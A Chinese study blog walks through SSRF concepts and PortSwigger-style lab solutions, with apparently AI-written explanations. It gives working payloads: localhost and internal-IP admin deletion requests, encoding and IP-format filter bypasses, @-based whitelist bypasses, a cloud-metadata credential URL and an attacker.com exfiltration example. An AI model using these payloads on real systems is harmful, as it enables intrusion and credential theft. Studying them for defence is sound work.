Skip to content

Sever-side request forgery

Justki
Published date:
Edit this post

Sever-side request forgery

什么是SSRF?

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location. 服务器端请求伪造是一种网络安全漏洞,允许攻击者使服务器端应用程序向非预期位置发出请求。

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems. This could leak sensitive data, such as authorization credentials. 在典型的SSRF攻击中,攻击者可能会使服务器连接到组织基础设施内仅内部的服务。在其他情况下,他们可能能够强制服务器连接到任意的外部系统。这可能会泄露敏感数据,比如授权凭证。

Query 1 以上提到的两种连接具体是咋样的?

这两种“连接”本质上是在描述 SSRF 能操控服务器去访问的目标范围不同,攻击面也不同:


1️⃣ 连接到“内部服务”(内网 SSRF)

含义:

攻击者让服务器去访问原本只有内网才能访问的资源(比如 127.0.0.1、内网IP、云元数据接口)。

为什么危险:

这些服务通常:

  • 不做身份认证(默认信任内网)
  • 或者权限很高(管理接口、数据库、配置服务)

典型例子:

假设网站有功能:

GET /fetch?url=http://example.com/image.jpg

服务器代码会去请求这个 URL 并返回内容。

攻击者把参数改成:

http://127.0.0.1:8080/admin

或者:

http://192.168.1.10:3306

甚至云环境:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

👉 结果:

  • 访问到了内部管理接口
  • 或拿到了云服务器的 IAM 凭证(非常常见)

2️⃣ 连接到“外部系统”(对外 SSRF / 任意请求)

含义: 攻击者让服务器去访问任意外部网站(包括攻击者自己的服务器)

为什么危险:

  • 可以“借服务器身份”发请求(绕过IP限制)
  • 可以窃取数据(回显 / DNS / HTTP exfiltration)

典型例子:

攻击者控制一个服务器:

http://attacker.com/log

然后让目标服务器访问:

/fetch?url=http://attacker.com/log?data=SECRET

或者更隐蔽:

http://attacker.com/?token=<服务器里的敏感信息>

👉 结果:

  • 服务器主动把数据发送给攻击者
  • 攻击者可以看到请求头(如:
    • 内部IP
    • Cookie(某些情况下)
    • 云环境签名请求)

⚖️ 两者本质区别

类型访问目标攻击目的
内网 SSRF127.0.0.1 / 内网IP / metadata横向渗透、提权
外部 SSRF攻击者控制的服务器数据外泄、绕过限制

🔥 一个更完整的攻击链(你学靶场会遇到)

  1. SSRF 访问:

    http://169.254.169.254/
  2. 获取:

    AWS 临时凭证
  3. 再用凭证:

    • 访问 S3
    • 控制云资源

👉 这就是为什么题目说“泄露敏感数据(如授权凭证)”


🧠 一句话总结

  • 内网连接 = 打进内网(横向攻击)
  • 外网连接 = 数据外传 / 借刀杀人

SSRF攻击的影响是什么?

A successful SSRF attack can often result in unauthorized actions or access to data within the organization. This can be in the vulnerable application, or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution. 成功的SSRF攻击通常会导致组织内部的未授权操作或数据访问。这可以是在易受攻击的应用程序中,也可以是在应用程序能够通信的其他后端系统中。在某些情况下,SSRF漏洞可能允许攻击者执行任意命令。

An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks. These can appear to originate from the organization hosting the vulnerable application. SSRF漏洞利用导致外部第三方系统连接,可能导致恶意的后续攻击。这些问题可能看起来来自托管该易受攻击应用的组织。

常见的SSRF攻击

SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server, or in relation to other back-end systems within the same organization. SSRF攻击常利用信任关系,将攻击升级到受攻击应用的层级化,并执行未经授权的操作。这些信任关系可能存在于服务器之间,也可能存在于同一组织内的其他后端系统之间。

SSRF 对服务器的攻击

In an SSRF attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter). 在针对服务器的SSRF攻击中,攻击者使应用程序通过环回网络接口向托管该应用的服务器发送HTTP请求。这通常涉及提供一个带有主机名的URL,如127.0.0.1(指向环回适配器的保留IP地址)或localhost(同一适配器的常用名称)。

For example, imagine a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs. It does this by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. When a user views the stock status for an item, their browser makes the following request: 例如,想象一个购物应用,允许用户查看某商品在某家门店是否有库存。为了提供库存信息,应用程序必须查询各种后端 REST API。它通过前端 HTTP 请求将 URL 传递给相关的后端 API 端点来实现这一点。当用户查看某项商品的库存状态时,浏览器会发出以下请求:

POST /product/stock HTTP/1.0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user. 这会导致服务器向指定的URL发送请求,获取库存状态,并返回给用户。

In this example, an attacker can modify the request to specify a URL local to the server: 在这个例子中,攻击者可以修改请求,指定服务器本地的URL:

POST /product/stock HTTP/1.0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 118 
stockApi=http://localhost/admin

The server fetches the contents of the /admin URL and returns it to the user. 服务器获取 /admin URL 的内容并将其返回给用户。

An attacker can visit the /admin URL, but the administrative functionality is normally only accessible to authenticated users. This means an attacker won’t see anything of interest. However, if the request to the /admin URL comes from the local machine, the normal access controls are bypassed. The application grants full access to the administrative functionality, because the request appears to originate from a trusted location. 攻击者可以访问 /admin URL,但管理功能通常仅对已认证用户开放。这意味着攻击者看不到任何有趣的东西。然而,如果对 /admin URL 的请求来自本地机器,通常的访问控制会被绕过。应用程序授予对管理功能的完全访问权限,因为请求似乎来自可信位置。

Lab 1 对本地服务器进行基础SSRF

Basic SSRF against the local server

点击商品详情,查看库存,抓包,

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

将其改为 http://127.0.0.1/admin,放行。

发现两个 User,直接点击 Delete,或是 Admin panel ,发现都没有权限。

那么再试一次,抓包,

GET /admin/delete?username=carlos HTTP/2

点击查看库存,但这次把 stockApi 修改成 http://127.0.0.1/admin/delete?username=carlos

这就成功了。

Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise for various reasons: 为什么应用程序会这样表现,并且隐式信任来自本地机器的请求?这可能由多种原因引起:

These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, often make SSRF into a critical vulnerability. 这种信任关系,即来自本地机器的请求处理方式不同于普通请求,常使SSRF成为一个关键漏洞。

Query 2 第1和2种原因的问题出在哪里?

你提到的是两种常见设计:

  • ① 访问控制在前置组件(Proxy/WAF)
  • ③ 管理接口在不同端口,不对外开放

这两种设计看起来合理,但在 SSRF 语境下都有隐含的安全假设错误


一、① 前置组件做访问控制 —— 问题在哪?

典型架构

Client → Reverse Proxy → App Server

常见实现(例如 Nginx / Apache HTTP Server):

  • 登录校验
  • IP 白名单
  • /admin 路径限制

👉 都在“前面”做


核心问题:安全边界放错位置

应用服务器本身通常会假设:

能到我这里的请求 = 已经通过认证

也就是说:

  • App Server 不再重复做权限检查
  • 完全信任 Proxy

SSRF 为什么能打穿?

因为 SSRF 让攻击路径变成:

Attacker → App → (SSRF) → App 内部接口

关键点:

👉 这条路径 不会经过 Proxy


本质漏洞点

1️⃣ 认证被“绕路径”

访问控制只存在于:

外部入口(Proxy)

但 SSRF 走的是:

内部调用(绕开入口)

👉 控制点被绕过


2️⃣ 信任模型错误(Implicit Trust)

系统默认:

内部请求 = 安全请求

但实际上:

  • SSRF 可以伪造“内部请求”
  • 内部 ≠ 可信

3️⃣ 单点安全组件(Single choke point)

所有安全都集中在 Proxy:

  • Proxy = 唯一防线
  • 后端 = 裸奔

👉 一旦绕过 Proxy,系统没有“第二道防线”


4️⃣ 架构层面的“路径不对称”

  • 正常路径:受控
  • 内部路径:无控制

👉 导致:

同一个接口,不同路径,安全性不同

这在安全设计上是典型缺陷


二、③ 管理接口在不同端口 —— 问题在哪?

典型设计

Main App:        example.com:80
Admin Interface: example.com:8080(或 127.0.0.1:8080)

开发者认为:

  • 用户访问不到 8080
  • 所以 admin 是安全的

核心问题:把“不可达”当成“安全”

这属于典型的:

Security by Network Isolation(基于网络可达性的安全)


SSRF 如何破?

SSRF 让服务器自己去访问:

http://localhost:8080/admin

👉 结果:

  • 用户访问不到 ✔️
  • 服务器自己可以访问 ✔️
  • 攻击者借服务器访问 ✔️

本质漏洞点

1️⃣ “不可访问 ≠ 不存在攻击面”

只是对外部用户不可见

  • 端口没开放
  • 防火墙阻断

但:

👉 对服务器自身是完全开放的


2️⃣ 内外网络边界被混淆

系统假设:

外部用户 ≠ 内部服务

但 SSRF 打破了这个边界:

攻击者 → 借助服务器 → 变成“内部调用者”

3️⃣ 管理接口缺乏认证(常见)

很多这类接口设计为:

只要能访问端口 → 就是管理员

👉 也就是:

  • 端口 = 权限

这是严重设计缺陷


4️⃣ “隐藏端口”属于伪安全(Security by Obscurity)

换个端口 ≠ 提高安全性:

  • 扫描工具可以发现
  • SSRF 可以直接访问

👉 只是“看不见”,不是“进不去”


5️⃣ 信任来源错误(Localhost Trust)

很多 admin 服务绑定:

127.0.0.1

并假设:

只有本机用户能访问

但 SSRF 本质就是:

👉 让服务器“自己访问自己”


总结(抓核心)

这两类问题本质一致:

设计方式实际问题
Proxy 做访问控制控制点可被绕过
不同端口隐藏 admin攻击面仍然存在
信任内部请求SSRF 可伪造
网络隔离代替认证边界会被打破

一句话本质

系统把“请求从哪里来”当成安全依据,而不是“请求是谁发的”

Query 3 是不是也可以通过BP爆破出开放的端口?

可以,但要把概念分清:你不是在用 Burp Suite 直接“扫目标服务器的端口”,而是利用 SSRF 这个“跳板”,让服务器自己去连不同端口,再从响应差异中推断哪些端口是开放的


一、这和传统端口扫描的区别

传统扫描(你本机 → 目标)

  • 工具:Nmap
  • 能扫到的:对公网开放的端口

SSRF 场景(服务器 → 自己)

Attacker → App → (SSRF) → 127.0.0.1:PORT

👉 你探测的是:

  • localhost
  • 内网服务(10.x / 172.x / 192.168.x)
  • 未暴露的管理端口

二、用 Burp 做“端口爆破”的本质

你说的“爆破端口”,其实是:

用 Burp Intruder 对 PORT 参数做 fuzz

例如:

GET /fetch?url=http://127.0.0.1:§PORT§/

payload:

22
80
443
8080
8000
3306
6379
...

三、你是怎么判断端口是否开放的?

关键不在“发请求”,而在分析响应差异


1️⃣ 响应状态差异

结果含义
连接成功(200 / 302 / 返回内容)端口开放
Connection refused端口关闭
Timeout被防火墙丢弃

2️⃣ 响应时间差(Timing)

  • 开放端口 → 快速返回
  • 过滤端口 → 超时

👉 Burp 可以用:

  • Response time 排序

3️⃣ 响应长度差

Burp Intruder 里很关键:

  • Length
  • Status
  • Word count

👉 一眼就能筛出异常端口


4️⃣ 错误信息差异

有些应用会返回:

Connection refused
Connection timed out
No route to host

这些都是“侧信道信息”


四、为什么这种方法很危险?

因为你获得的是:

✅ 内网资产可见性

  • Redis(6379)
  • MySQL(3306)
  • Docker API(2375)
  • 内部管理后台(8080)

✅ 可进一步利用

例如:

  • Redis 未授权 → 写 webshell
  • Docker API → 直接起容器拿 shell
  • 内部 admin 面板 → 无认证访问

五、限制因素(现实中你会遇到)

不是所有 SSRF 都能这样用:


❌ 1. 只允许 HTTP/HTTPS

你只能测:

http://127.0.0.1:PORT

👉 测不了:

  • Redis(非HTTP协议)
  • MySQL

但仍然可以:

  • 判断端口是否“有 HTTP 服务”

❌ 2. 响应不可见(Blind SSRF)

如果你看不到返回:

👉 就需要:

  • 时间盲注(timing)
  • DNS 外带

❌ 3. URL 被过滤

例如禁止:

  • 127.0.0.1
  • localhost

👉 需要绕过:

  • 127.1
  • 2130706433
  • 内网域名

六、结论

✔️ 可以“爆破端口”,但本质是:

通过 SSRF 做“间接端口扫描”

而不是传统意义上的扫描。


一句话总结

Burp 在这里不是扫描器,而是一个“请求放大器 + 差异分析工具” 真正帮你扫端口的,是目标服务器本身

SSRF 对其他后端系统的攻击

In some cases, the application server is able to interact with back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. The back-end systems are normally protected by the network topology, so they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems. 在某些情况下,应用服务器能够与用户无法直接访问的后端系统交互。这些系统通常拥有不可路由的私有IP地址。后端系统通常受网络拓扑保护,因此安全防护通常较弱。在许多情况下,内部后端系统包含敏感功能,任何能够与系统交互的人都可以无需身份验证即可访问。

In the previous example, imagine there is an administrative interface at the back-end URL https://192.168.0.68/admin. An attacker can submit the following request to exploit the SSRF vulnerability, and access the administrative interface: 在前面的例子中,假设后端URL https://192.168.0.68/admin 有一个管理接口。攻击者可以提交以下请求以利用SSRF漏洞,并访问管理接口:

POST /product/stock HTTP/1.0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 118 
stockApi=http://192.168.0.68/admin

Query 4 但我是从公网访问的呀,要怎样才能知道他的内网IP呢?

一、前提先澄清

你说得对:

你是从公网访问的,但 SSRF 让“服务器替你进内网”

Attacker → Web App → (SSRF) → 内网IP

👉 关键结论: 你不需要事先知道内网 IP,可以“猜 + 验证”


二、最常见方法:内网网段枚举(爆破)

内网 IP 通常集中在几个固定网段:

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

👉 实战中最常见:

192.168.0.x
192.168.1.x

怎么做?

用 Burp Intruder 做 IP 枚举:

stockApi=http://192.168.0.§1-254§/

或:

stockApi=http://192.168.§0-255§.§1-254§/

怎么判断“命中”?

看响应差异:

  • 有返回内容 ✅(可能是服务)
  • 状态码变化 ✅
  • 响应时间变化 ✅

三、从“常见地址”开始(经验优先)

实际不需要盲扫整个网段,优先这些:

192.168.0.1     (网关/设备)
192.168.0.100   (常见服务)
192.168.0.68    (题目常用)
192.168.1.1
127.0.0.1       (最重要)

👉 很多靶场(包括你现在学的)会直接用固定 IP


四、利用 DNS / 域名信息泄露

有些系统会泄露内部主机名:

http://internal-api/
http://admin.local/
http://backend/

👉 你可以:

stockApi=http://backend/admin

服务器会帮你解析内网 DNS


五、从已有功能“反推”

比如:

1️⃣ URL 参数暴露

stockApi=http://stock.internal/api

👉 直接改:

http://stock.internal/admin

2️⃣ 错误信息泄露

返回:

Connection to 192.168.0.68 failed

👉 直接获得 IP


3️⃣ 页面源码 / JS

很多前端会写:

apiUrl = "http://192.168.0.68:8080"

六、通过“端口扫描 + IP 扫描组合”

你之前问的端口爆破可以结合 IP:

192.168.0.x:80
192.168.0.x:8080
192.168.0.x:8000

👉 双重枚举:

  • IP
  • Port

七、利用时间差(Blind SSRF)

如果没有回显:

  • 存在 IP → 请求有延迟
  • 不存在 IP → 快速失败

👉 用响应时间判断


八、为什么内网这么“容易猜”?

因为:

1️⃣ 地址空间有限

不像公网:

  • 内网只有几个固定段

2️⃣ 运维习惯固定

很多公司习惯:

  • 192.168.0.x
  • 192.168.1.x

3️⃣ 服务部署规律

常见:

  • admin → .68 / .100 / .10
  • 数据库 → .2 / .3

👉 有“经验模式”


九、总结(核心逻辑)

你不是“知道 IP”,而是:

猜测 → 发送 SSRF → 根据响应判断 → 缩小范围

一句话本质

SSRF 利用的关键不是“信息已知”,而是你可以把服务器当成内网探测器

Lab 2 基础SSRF对抗另一个后端系统

Basic SSRF against another back-end system

通过BP爆破得知,管理接口为192.168.0.231,所以,

stockApi=http%3A%2F%2F192.168.0.231%3A8080%2Fadmin/delete?username=carlos

规避常见的SSRF防御

It is common to see applications containing SSRF behavior together with defenses aimed at preventing malicious exploitation. Often, these defenses can be circumvented. 常见应用包含SSRF行为,同时配备旨在防止恶意利用的防御措施。这些防御通常可以被绕过。

带有黑名单输入滤波器的SSRF

Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using the following techniques: 有些应用程序会屏蔽包含主机名如127.0.0.1和localhost,或敏感URL如/admin的输入。在这种情况下,你通常可以通过以下技术绕过过滤器:

Query 5 解释一下这四种手法

这四种手法本质都在利用同一个问题:过滤器做的是“字符串匹配”,而不是“语义解析”。 也就是说,防护只是在“看起来像不像危险输入”,而不是“最终实际会访问哪里”。

逐个拆解:


一、IP 表示绕过(Alternative IP Representation)

原理

IP 地址不仅只有“点分十进制”这一种写法:

127.0.0.1  ≡  2130706433(十进制)
127.0.0.1  ≡  017700000001(八进制)
127.0.0.1  ≡  127.1(简写)

为什么能绕过?

很多过滤器是这样写的:

if "127.0.0.1" in input:
    block()

👉 问题:

  • 它只匹配“字符串”
  • 不会做 IP 解析

实际发生的事

输入:2130706433

服务端解析:127.0.0.1

成功访问 localhost

👉 字符串不等 ≠ 网络目标不等


本质问题

过滤发生在“解析前”,而不是“解析后”


二、域名解析到内网(DNS Rebinding / 自定义解析)

原理

你控制一个域名:

attacker.com → 127.0.0.1

然后提交:

http://attacker.com/admin

为什么能绕过?

过滤器可能只检查:

是否包含:
- 127.0.0.1 ❌
- localhost ❌

👉 但不会:

  • 做 DNS 解析
  • 检查解析结果

实际流程

输入:attacker.com

过滤器:看起来安全 ✔️

服务器 DNS 解析:127.0.0.1

访问本机

本质问题

校验的是“域名字符串”,不是“解析后的 IP”


三、编码 / 混淆绕过(Obfuscation)

常见方式

1️⃣ URL 编码

/admin → %2fadmin

2️⃣ 双重编码

/admin → %252fadmin

3️⃣ 大小写变换

/admin → /AdMiN

为什么能绕过?

过滤器可能这样写:

if "/admin" in input:
    block()

👉 但实际请求流程:

输入:%2fadmin

过滤器:没匹配到 ✔️

服务器 decode:/admin

访问成功

本质问题

过滤发生在“解码前”,而执行发生在“解码后”


四、重定向绕过(Open Redirect / Controlled Redirect)

原理

你提供一个“看起来安全”的 URL:

http://attacker.com

但这个 URL 会返回:

HTTP/1.1 302 Found
Location: http://127.0.0.1/admin

为什么能绕过?

过滤器只检查:

初始 URL

不会检查:

跳转后的 URL

实际流程

输入:http://attacker.com

过滤器:安全 ✔️

服务器请求 attacker.com

收到 302 重定向

服务器自动跟随 → 127.0.0.1/admin

进阶绕过(你提到的点)

协议切换

初始:http://attacker.com
跳转:https://127.0.0.1/admin

👉 有些过滤器只限制 http,不限制 https


本质问题

校验只发生在“第一次请求”,而不是“最终目标”


总结(统一理解)

这四种绕过,本质上是同一个逻辑漏洞的不同表现:

手法绕过点
IP 变形字符串 ≠ 实际地址
DNS 解析域名 ≠ 最终 IP
编码混淆输入 ≠ 解析后内容
重定向初始 URL ≠ 最终请求

核心一句话

过滤器检查的是“你写了什么”,而服务器执行的是“解析后变成了什么”

只要这两者不一致,就一定存在绕过空间。

Query 6 这样的话,那 DNS解析 和 重定向 不是一个意思吗

不是一回事。这两者经常被放在一起讲,是因为都能把“看起来安全的输入”变成“实际访问敏感目标”,但发生的层级和机制完全不同


一、DNS 解析:把“名字 → IP”(连接前发生)

本质

把域名转换成 IP 地址。

http://example.com
↓(DNS 查询)
93.184.216.34

发起 TCP 连接

在 SSRF 里的作用

你提交:

http://attacker.com/admin

但 DNS 记录是:

attacker.com → 127.0.0.1

👉 实际发生:

解析后 → 127.0.0.1
连接 → 本机服务

关键特点

  • 发生在发起请求之前
  • 决定“连谁”
  • 不涉及 HTTP 语义
  • 属于网络层行为

二、HTTP 重定向:服务器告诉你“换个地址”(连接后发生)

本质

服务器返回一个跳转指令:

HTTP/1.1 302 Found
Location: http://127.0.0.1/admin

解释:

http://attacker.com, 这个你控制的网站专门返回:

HTTP/1.1 302 Found
Location: http://127.0.0.1/admin

在 SSRF 里的作用

你提交:

http://attacker.com

流程:

1. 连接 attacker.com
2. 返回 302
3. 客户端自动跳转
4. 再请求 127.0.0.1/admin

关键特点

  • 发生在第一次请求之后
  • 是 HTTP 协议行为
  • 需要客户端“愿意跟随跳转”
  • 属于应用层行为

三、核心区别(对比表)

维度DNS 解析HTTP 重定向
发生时机请求前请求后
决定什么连接的 IP下一步 URL
层级网络层应用层
是否依赖服务器响应❌ 不需要✅ 必须
是否可见通常不可见可见(302等)

四、为什么它们“看起来很像”?

因为攻击效果一致:

输入:安全 URL

最终:访问敏感地址

但路径不同:


DNS 路径

attacker.com
↓(解析)
127.0.0.1

直接访问内网

重定向路径

attacker.com

302 → 127.0.0.1

再次请求

五、从“绕过滤器”的角度看区别

这是关键。


DNS 绕过

绕过的是:

❌ 不允许 127.0.0.1
✅ 允许 attacker.com

👉 过滤器没做“解析后校验”


重定向绕过

绕过的是:

❌ 不允许 127.0.0.1
✅ 允许 attacker.com

👉 过滤器只检查“第一跳”,不检查“最终目标”


六、一句话总结

DNS 是“你以为连的是 A,其实连的是 B” 重定向是“你先连 A,然后被引导去连 B”


七、再给你一个更本质的抽象(建议记住)

SSRF 绕过可以统一理解为三类:

  1. 表示欺骗(Representation)
    • IP 变形(2130706433)
  2. 解析欺骗(Resolution)
    • DNS → 指向内网
  3. 流程欺骗(Flow)
    • HTTP 重定向

你刚问的这两个:

  • DNS → 第2类
  • 重定向 → 第3类

Query 7 302是啥来着?

302 是一种 HTTP 状态码,表示:

302 Found

意思是:

“这个资源临时换位置了,请去别的 URL。”

本质上就是:

👉 服务器让客户端“跳转”


一、最直观例子

你访问:

http://example.com/login

服务器返回:

HTTP/1.1 302 Found
Location: /dashboard

浏览器看到后会:

自动再请求:
/dashboard

于是你就“跳转页面”了。


二、302 的关键组成

1️⃣ 状态码

302 Found

表示:

  • 资源临时移动
  • 请去别的位置

2️⃣ Location 头(最关键)

Location: http://target.com

👉 告诉浏览器:

“下一步去哪里”

没有 Location,302 基本没意义。


三、完整流程(SSRF 里非常重要)

假设:

http://attacker.com

返回:

HTTP/1.1 302 Found
Location: http://127.0.0.1/admin

SSRF 客户端行为

很多服务器代码会:

requests.get(url)

requests 默认:

allow_redirects=True

所以:

1. 请求 attacker.com
2. 收到 302
3. 自动跟随 Location
4. 请求 127.0.0.1/admin

👉 这就是 SSRF redirect bypass。


四、为什么叫“临时重定向”?

HTTP 有很多跳转码:

状态码含义
301永久跳转
302临时跳转
307临时跳转(严格保持方法)
308永久跳转(严格保持方法)

五、302 的历史坑(面试常问)

理论上:

POST → 302 → 应继续 POST

但早期浏览器行为混乱:

POST → 302 → 自动变 GET

于是后来出了:

  • 307
  • 308

专门解决“方法保持”问题。


六、在渗透里为什么重要?

因为很多程序:

会自动跟随 302

攻击者就能:

先给安全 URL

再跳到危险 URL

绕过过滤。


七、你在 Burp 里怎么看 302?

在 Burp Suite 里:

HTTP/1.1 302 Found
Location: /login

重点观察:

  • Status = 302
  • Location 头

八、一句话理解

302 本质上就是:

“我这里没有你要的东西,但你去另一个地址看看。”

Lab 3 带有黑名单输入滤波器的SSRF

SSRF with blacklist-based input filter

使用 127.0.0.1/admin

看看网页的反应,发现返回 Could not fetch stock levels!

再看看响应,"External stock check blocked for security reasons"

我们用BP爆破一下:

IP:
127.0.0.1
127.1
2130706433
017700000001

admin:
%61dmin       
%2561dmin      
%25%36%31dmin  
%61%64%6D%69%6E 
%252561dmin     

URL编码表、Base64编码表、HTTP消息含义 - kosamino - 博客园

最后,这两个成功了:

127.1	%2561dmin		 对%进行二重编码
127.1	%25%36%31dmin	 对%61进行二重编码

说明有一些组件不支持 10进制 和 8进制 的IP解析。

也说明后端流程类似:

输入

过滤器 decode 一次

检查 blacklist

后端又 decode 一次

真正请求

最后,

stockApi=http%3A%2F%2F127.1/%2561dmin/delete?username=carlos

Query 8 大多数WAF都是二重解码吗?

不是。 “二次解码”不是 WAF 的固定特性,而是:

多个组件在请求链路中分别进行了 URL decode

导致的“解码层级不一致”。

这是架构副作用,不是设计目标。


一、很多人误解成:

WAF 会自动 decode 两次

其实通常不是。

真正情况更像:

Client

CDN/WAF(decode一次)

Nginx(可能再处理)

Framework(再decode)

业务代码(又decode)

👉 最终可能出现:

  • 1次
  • 2次
  • 3次

都可能。


二、为什么会出现多次解码?

因为:

URL 编码本来就是“传输层表示”

不同组件都可能认为:

“我应该先规范化(normalize)一下”

于是:

%2561

%61

a

一步一步被还原。


三、典型链路(非常常见)

例如:

Browser

Cloudflare WAF

Nginx

Flask/Django/Spring

业务代码 urllib.unquote()

每层都可能 decode

WAF

为了检测:

%61dmin

是不是:

admin

它可能先 decode。


Web Framework

框架通常自动 decode:

/search?q=%61

a

业务代码

开发者又手动:

urllib.parse.unquote()

于是再次 decode。


四、所以漏洞真正来源是:

Canonicalization Issue(规范化问题)

或者:

Decode Inconsistency(解码不一致)


即:

不同组件对“输入最终长什么样”理解不一致。


五、现实中非常常见

尤其:

场景容易出现
WAF + Web框架高发
老旧Java系统高发
PHP历史项目高发
多层代理架构高发

六、现代 WAF 会怎么做?

成熟 WAF 一般会:

1️⃣ 多轮规范化(Normalization)

它会尝试:

decode
decode
lowercase
unicode normalize
path normalize

直到:

输入稳定

再检测。


2️⃣ 限制异常编码

例如:

  • 连续 %
  • 双重编码
  • UTF-16编码
  • overlong UTF-8

直接拦。


七、但为什么仍然能绕?

因为:

WAF 不敢“无限 decode”

否则:


1️⃣ 性能问题

攻击者可以:

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

让 WAF 爆 CPU。


2️⃣ 误杀问题

正常业务可能包含:

%252F

WAF 如果过度 decode:

会误判。


3️⃣ 后端行为不一致

WAF 不知道:

后端到底 decode 几次

八、因此现实中经常出现:

WAF看到后端看到
%61dminadmin
%252e%252e../
%2f/

于是被绕。


九、你这个 Lab 本质上就在模拟:

WAF decode 一次
Backend decode 一次

这是 PortSwigger 非常经典的:

Superfluous URL Decode

类漏洞。


十、一句话总结

大多数 WAF 不是“故意二次解码”,而是:

整个请求链路中的多个组件分别进行了规范化处理,最终形成了多次解码。

这就是很多:

  • WAF bypass
  • Path traversal bypass
  • SSRF bypass
  • XSS bypass

的根源。

带有白名单输入滤波器的SSRF

Some applications only allow inputs that match, a whitelist of permitted values. The filter may look for a match at the beginning of the input, or contained within in it. You may be able to bypass this filter by exploiting inconsistencies in URL parsing. 有些应用只允许匹配的输入,即允许值的白名单。滤波器可能在输入开头寻找匹配,或在输入中查找匹配。你可能可以通过利用URL解析中的不一致来绕过这个过滤器。

The URL specification contains a number of features that are likely to be overlooked when URLs implement ad-hoc parsing and validation using this method: URL规范包含若干功能,在使用该方法实现临时解析和验证时,这些功能可能被忽略:

Query 9 以上的技巧都是什么原理呀?

这些技巧本质上都在利用:

过滤器“理解”的 URL,和真正 HTTP 客户端“解析”的 URL 不一致。

也就是:

URL Parsing Confusion

很多开发者会自己手写:

if "expected-host" in url:
    allow()

或者:

if url.startswith("https://expected-host"):
    allow()

但 URL 语法其实非常复杂。

下面逐个讲“真实解析过程”。


一、@ —— 用户名/密码(userinfo)绕过


payload

https://expected-host:fakepassword@evil-host

URL 真正结构

URL 标准:

scheme://userinfo@host/path

也就是:

https:// 用户信息 @ 真正主机

实际解析

所以:

expected-host:fakepassword

不是 host。

真正 host 是:

evil-host

为什么能绕过?

很多白名单:

if "expected-host" in url:
    allow()

看到:

expected-host

就放行。

但真正请求:

连接的是 evil-host

实战用途

常用于:

  • SSRF whitelist bypass
  • Open Redirect bypass

二、# —— Fragment(片段)绕过


payload

https://evil-host#expected-host


URL 结构

scheme://host/path#fragment

# 后面的内容:

不会发送给服务器

只是:

  • 浏览器前端定位
  • JS 使用

实际发生

真正请求:

https://evil-host

而:

#expected-host

被客户端直接丢弃。


为什么绕过?

过滤器:

if "expected-host" in url:

匹配成功。

但网络层:

根本不会访问 expected-host

三、子域名伪装(DNS hierarchy)


payload

https://expected-host.evil-host

为什么能骗到人?

因为人眼会觉得:

“前面是 expected-host”

但 DNS 解析规则:

真正域名从右往左读

真正主域是谁?

evil-host

而:

expected-host

只是:

evil-host 的子域名

为什么绕过?

过滤器可能:

if "expected-host" in url:

或者:

if url.endswith("expected-host")

写错逻辑。


实战例子

很多错误代码:

if "google.com" in url:

于是:

google.com.evil.com

成功绕过。


四、URL Encoding 混淆


payload

https://expected-host%40evil-host

%40 是什么?

@ 的 URL 编码

问题核心

有的组件:

先 decode

有的:

后 decode

于是:

过滤器看到:

expected-host%40evil-host

以为:

host = expected-host%40evil-host

但 HTTP 客户端:

decode 后:
expected-host@evil-host

于是:

真正 host = evil-host

五、双重编码(double encoding)


payload

%2540

解码过程

%2540
↓ decode
%40
↓ decode
@

为什么 useful?

因为:

  • WAF decode 一次
  • Backend decode 两次

于是:

过滤阶段没有 @
执行阶段出现 @

六、这些技巧为什么能组合?

因为 URL 有多个组件:

scheme://userinfo@host/path?query#fragment

每部分:

  • 不同 parser
  • 不同 decode 时机
  • 不同组件

理解可能都不同。


七、经典组合(CTF/实战高频)


1️⃣ userinfo + fragment

https://expected.com@evil.com#expected.com

2️⃣ 子域名 + @

https://expected.com.evil.com@attacker.com

3️⃣ 编码 + @

https://expected.com%40evil.com

八、本质统一一下(非常重要)

所有 whitelist bypass 的核心:

技术利用点
@userinfo ≠ host
#fragment 不参与请求
子域名DNS 从右往左
URL encodedecode 不一致

九、为什么这些漏洞这么常见?

因为很多开发者:

错误做法

if "trusted.com" in url:

正确做法

必须:

1. 标准 URL parser
2. 提取 canonical host
3. DNS 解析
4. 校验最终 IP

否则必绕。


十、一句话总结

白名单 SSRF 绕过,本质是:

让过滤器误判“谁是 host”,而真正网络请求去访问另一个 host。

Lab 4 带有白名单输入滤波器的SSRF

SSRF with whitelist-based input filter

首先我们尝试:

stockApi=http://127.1

发现响应和之前不太一样:

"External stock check host must be stock.weliketoshop.net"

这说明他在检查主机信息。

那我们来伪造一下主机信息:

stockApi=http://127.1@stock.weliketoshop.net

响应:

Could not connect to external stock check service

可以看出,再白名单的逻辑里,只有向 stock.weliketoshop.net 发起的连接才是合法的。

